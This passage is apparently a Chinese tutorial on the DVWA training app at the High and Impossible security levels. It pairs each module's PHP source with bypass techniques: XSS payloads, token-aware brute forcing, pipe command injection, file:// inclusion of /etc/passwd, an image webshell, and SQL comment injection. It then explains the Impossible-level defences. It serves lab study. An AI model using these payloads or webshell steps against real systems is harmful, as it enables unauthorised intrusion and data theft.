addslashes()
会在预定义字符前添加\
,例如"
,\
,'
strip_tags()
会剥去字符串中 HTML、XML 、PHP 的标签
htmlspecialchars()
会把一些预定义的字符转换为 HTML 实体,如&
变成&
,"
变成"
。
上面三个函数都只是对Message做了过滤,没有对Name做,但是Name输入框限制了10个字符,所以通过抓包来绕过前端的字符数限制
- 双写绕过:
<sc<script>ript>alert("EL PSY KONGROO")</script>
-
大小写绕过:
<sCrIpT>alert("EL PSY KONGROO")</script>
-
事件绕过:
<a href = 'javascript:alert("EL PSY KONGROO")'>super hacker</a>
事件绕过不止这一种标签可以用,还可以用onerror
等onxxx
类的等等,其他还有很多
Ⅲ. Security:High - 高安全性
这个安全级别的安全措施比中级更多,和各种CTF中会出的题目有相似性
1. Brute Force - 暴力破解
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
高级增加了token防御csrf攻击,且对用户名和密码做了更多过滤来防御sql注入
抓包可以发现总共传入四个参数username
、password
、Login
和user_tokn
将抓到的包发给intruder,攻击模式选Pitchfork,由于有token保护,需要使用burp的Recursive_Grep功能,这个功能可以从上一次请求的响应包中提取需要继承的参数,并在下一次请求中使用,可以用于验证token值
添加爆破位置:
将线程设为1,因为Recursive grep不支持多线程,旧版burp可以在Options的Request Engine处修改:
option选项卡在Grep - Extract点击Add:
点击Fetch response后选中并复制token,点OK:
e359930171f2042587bd402de8812ee9
在Option的Redirections模块选择Always总是允许重定向:
用户名项和密码项的字典均选择Simple List
处理token项时Payload type选择Recursiv grep,Payload Options选中token的正则,然后输入刚刚复制的token作为初始值:
现在设置完毕可以开始爆破
成功找到用户名和密码
2. Command Injection - 命令注入
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
高级扩充了黑名单,有更全面的过滤,但是可以发现'| ' => ''
是对管道符+空格进行的匹配,而不是管道符,所以可以使用|
来绕过,或者直接使用管道符
3. CSRF - 跨站请求伪造
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
高级增加了防御CSRF的token,而不是单纯检查Referer
一般关键在于获得受害者的token信息
参考DVWA-CSRF(跨站请求伪造)-CSDN博客的方法,可以写一个获取token的js脚本再利用文件上传漏洞上传至服务器
4. File Inclusion - 文件包含
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
高级会对传入的page
参数进行校验,若不匹配正则式file*
且不等于include.php
就会报错并结束运行。
可以用file协议绕过,构造urlhttp://192.168.179.132:81/vulnerabilities/fi/?page=file:///etc/passwd
成功输出文件内容
5. File Upload - 文件上传
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
高级会直接读取上传文件的扩展名,然后转换为小写字母,若非jpg、jpeg、png则不接受上传。如果获取不到图像大小也不会接受。
可以使用cmd命令制作图片马
准备png和php:
cmd输入copy 1.png/b+2.php/a 3.png
:
可以看到图片后面添加了一句话木马,且图片可以正常显示
上传图片马成功
使用文件包含漏洞加载http://192.168.179.132:81/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/shell.png
用蚁剑连接即可
6. Insecure CAPTCHA - 不安全的验证码
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for user
echo "<pre>Password Changed.</pre>";
}
else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
高级增加了token防御csrf攻击,且检查UA是否为reCAPTCHA
以及recaptcha_response_field
值是否为hidd3n_valu3
,删除了导致漏洞产生的step
参数,抓包修改即可
7. SQL Injection - SQL注入
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
高级在查询id后面加了LIMIT 1
使得只输出一个查询结果,但是用#
就能注释掉,此外没有过滤手段,和Low安全性一样注入即可
8. SQL Injection(Blind) - SQL盲注
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
高级在注入时会开启一个新窗口,使用cookie传参,在查询语句后也加上了LIMIT 1
,且当查询结果不存在时会随机暂停运行2到4秒来干扰时间盲注,但其实只是增加了尝试时间而已,其他和中级大同小异。
9. XSS(Reflected) - 跨站脚本反射型
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
高级会按照正则式/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'
过滤输入,也就是当name
中出现<script
这七个字符时,无论中间夹着任何其他字符,都会全部连同<script
一起被删除。/i
意味忽略大小写,所以大小写绕过也无法使用。
所以不用<script>
标签了,使用事件绕过
<img src=1 onerror=alert("ELPSYKONGROO")>
10. XSS(Stored) - 跨站脚本存储型
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
高级仍然把对message
的过滤拉满,然后对name
做了和反射型同样的过滤
抓包事件绕过即可
Ⅳ. Security:Impossible - 无懈可击
这个安全级别能防范所有漏洞,基本无法进行攻击,用于和前三个级别的源码进行比较学习
1. Brute Force - 暴力破解
<?php
if( isset( $_POST[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = $row[ 'last_login' ];
$last_login = strtotime( $last_login );
$timeout = strtotime( "{$last_login} +{$lockout_time} minutes" );
$timenow = strtotime( "now" );
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow > $timeout )
$account_locked = true;
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级的sql查询语句加了LIMIT 1
,加入了错误锁定机制,当输错之后会随机暂停2到4秒,
// Login failed
sleep( rand( 2, 4 ) );
输错三次会锁定15分钟,
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = $row[ 'last_login' ];
$last_login = strtotime( $last_login );
$timeout = strtotime( "{$last_login} +{$lockout_time} minutes" );
$timenow = strtotime( "now" );
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow > $timeout )
$account_locked = true;
}
次数记录在数据库中,
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
大大增加了爆破难度
2. Command Injection - 命令注入
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级添加了token,
首先对输入的字符串进行转义,
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
然后根据.
分成四部分,
// Split the IP into 4 octects
$octet = explode( ".", $target );
检查每个部分是不是整数且长度为4,
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) )
然后把其中是数字的部分拼回成ip地址
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
若不是整数则不接受
3. CSRF - 跨站请求伪造
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwa CurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级在修改密码时需要输入现在的密码验证,输入后也会对其转义过滤,攻击者无法得知现在的密码则无法进行CSRF攻击
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
4. File Inclusion - 文件包含
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
Impossible级限制 file
参数的值为include.php
、file1.php
、file2.php
、file3.php
,无法进行攻击了
5. File Upload - 文件上传
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级增加了token
将文件名称用md5处理后,和扩展名拼接作为新的文件名
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' )
会检查文件的扩展名、大小、content-type,以及图像是否能正常显示
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) )
然后删除图像所有元数据,上传至临时目录后重新创建一个新的一样的图像,最后删除临时文件
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
就算能成功上传木马,攻击者也无法得知文件的新名字,所以无法进行连接
6. Insecure CAPTCHA - 不安全的验证码
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = mysql_real_escape_string( $pass_conf );
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级检查token
要求输入当前密码验证,并对所有输入进行过滤
对sql语句进行预编译,防止sql注入
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
在判断验证码有效与否的环节删除了攻击者能修改的参数,使得无法攻击
7. SQL Injection - SQL注入
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级检查token
检查输入是否为数字,并预编译sql语句,防止sql注入
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
和预编译的LIMIT 1
配合确保返回的结果只有一行
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
8. SQL Injection(Blind) - SQL盲注
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级和上一个sql注入的防御措施差不多,使得无法进行sql盲注
9. XSS(Reflected) - 跨站脚本反射型
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级检查token
使用htmlspecialchars()
处理传入参数,使得无法构造payload
10. XSS(Stored) - 跨站脚本存储型
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysql_real_escape_string( $name );
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级检查token,对message
和name
都进行全面的转义过滤,使得无法构造payload
并进行sql预编译,防止sql注入